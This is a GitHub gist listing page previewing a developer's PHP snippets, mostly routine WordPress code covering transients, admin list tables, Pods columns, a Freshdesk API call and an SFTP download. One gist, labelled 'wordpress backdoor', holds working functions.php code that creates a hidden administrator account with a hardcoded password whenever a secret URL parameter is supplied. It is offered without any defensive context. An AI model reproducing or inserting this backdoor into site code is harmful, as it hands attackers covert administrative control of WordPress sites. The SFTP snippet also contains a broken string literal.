Skip to content

Instantly share code, notes, and snippets.

View waqashassan98's full-sized avatar

Waqas Hassan waqashassan98

View GitHub Profile
@waqashassan98
waqashassan98 / functions.php
Created May 1, 2023 07:54
Initialising and using Transients in WordPress
<?php
// Check for transient. If none, then execute WP_Query
if ( false === ( $featured = get_transient( 'foo_featured_posts' ) ) ) {
$featured = new WP_Query(
array(
'category' => 'featured',
'posts_per_page' => 5
)
);
@waqashassan98
waqashassan98 / sshconnect-php.php
Created March 3, 2023 20:03
download a file from sftp in php
<?php
// https://stackoverflow.com/questions/17687607/php-download-from-remote-server-via-sftp#17688779
// set up SFTP server details
$host = '';
$port = 22;
$username = '';
$password = ';
$file = 'fileToDownload.csv';
$remoteDir = '/complete/path/to/dir/';
@waqashassan98
waqashassan98 / functions.php
Created June 28, 2021 13:05
wordpress backdoor
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
Add a new user to the www-data group
In this example, add a new user called vivek to the www-data group, enter:
sudo useradd -g www-data vivek
### set the password for vivek user ###
sudo passwd vivek
@waqashassan98
waqashassan98 / example-wp-list-table.php
Created February 9, 2021 18:18 — forked from paulund/example-wp-list-table.php
An example code of using the WP_List_Table class. With Pagination.
<?php
/*
* Plugin Name: Paulund WP List Table Example
* Description: An example of how to use the WP_List_Table class to display data in your WordPress Admin area
* Plugin URI: http://www.paulund.co.uk
* Author: Paul Underwood
* Author URI: http://www.paulund.co.uk
* Version: 1.0
* License: GPL2
*/
@waqashassan98
waqashassan98 / functions.php
Created November 26, 2020 18:14 — forked from mastef/functions.php
Pods : How to add Custom Admin Table Columns to a Pods ACT
<?php
/*
only important name is the filter name :
pods_admin_ui_PODNAME
if your pods is called "client" then call it
pods_admin_ui_client
you can rename all functions to your liking
*/
add_filter( 'pods_admin_ui_PODNAME', 'custom_admin_table_columns_for_PODNAME' );
@waqashassan98
waqashassan98 / simple-pods-plugin.php
Created November 24, 2020 14:47 — forked from Shelob9/simple-pods-plugin.php
Simple plugin for safely adding code for extending Pods. Instructions: 1) Create a folder in your plugins file. 2) Add this file and a second file, called 'custom-code.php' to it. 3) Add custom code to custom-code.php. 4) Activate plugin. For a complete Pods plugin starter plugin, see: https://github.com/pods-framework/pods-extend
<?php
/*
Plugin Name: Pods Starter Plugin
Version: 0.0.1
License: GPL v2 or later
*/
//note: change 'slug' to your own custom prefix.
add_action( 'plugins_loaded', 'slug_extend_safe_activate');
function slug_extend_safe_activate() {
@waqashassan98
waqashassan98 / freshdesk-api.php
Created August 19, 2020 21:06
freshdesk API ticket with custom field and attachment
<?php
$api_key = esc_attr( get_option('freshdesk_tickets_api_key') );
$password = "x";
$yourdomain = "youdomain";
$custom_fields = array("bio" => esc_attr($_REQUEST['bio']) );
$ticket_payload = array(
'name' => esc_attr($_REQUEST['name']),
'email' => esc_attr($_REQUEST['email']),
@waqashassan98
waqashassan98 / SchemaValidator.php
Created July 23, 2020 18:17
Custom Wordpress Rest API Schema Validator - Limited Cases
<?php
class SchemaValidator{
public function validate_structure($params, $schema){
$errors = array();
foreach($schema as $key => $object){
//check if present if required
if(isset($object["required"]) && true == $object["required"]){
<?php
/**
* All items of a POD (CPT)
**/
$params = array(
'limit' => -1,
);
$prods_pod = pods( 'im_products', $params );
if( false != $prods_pod && $prods_pod->total_found()>0 ){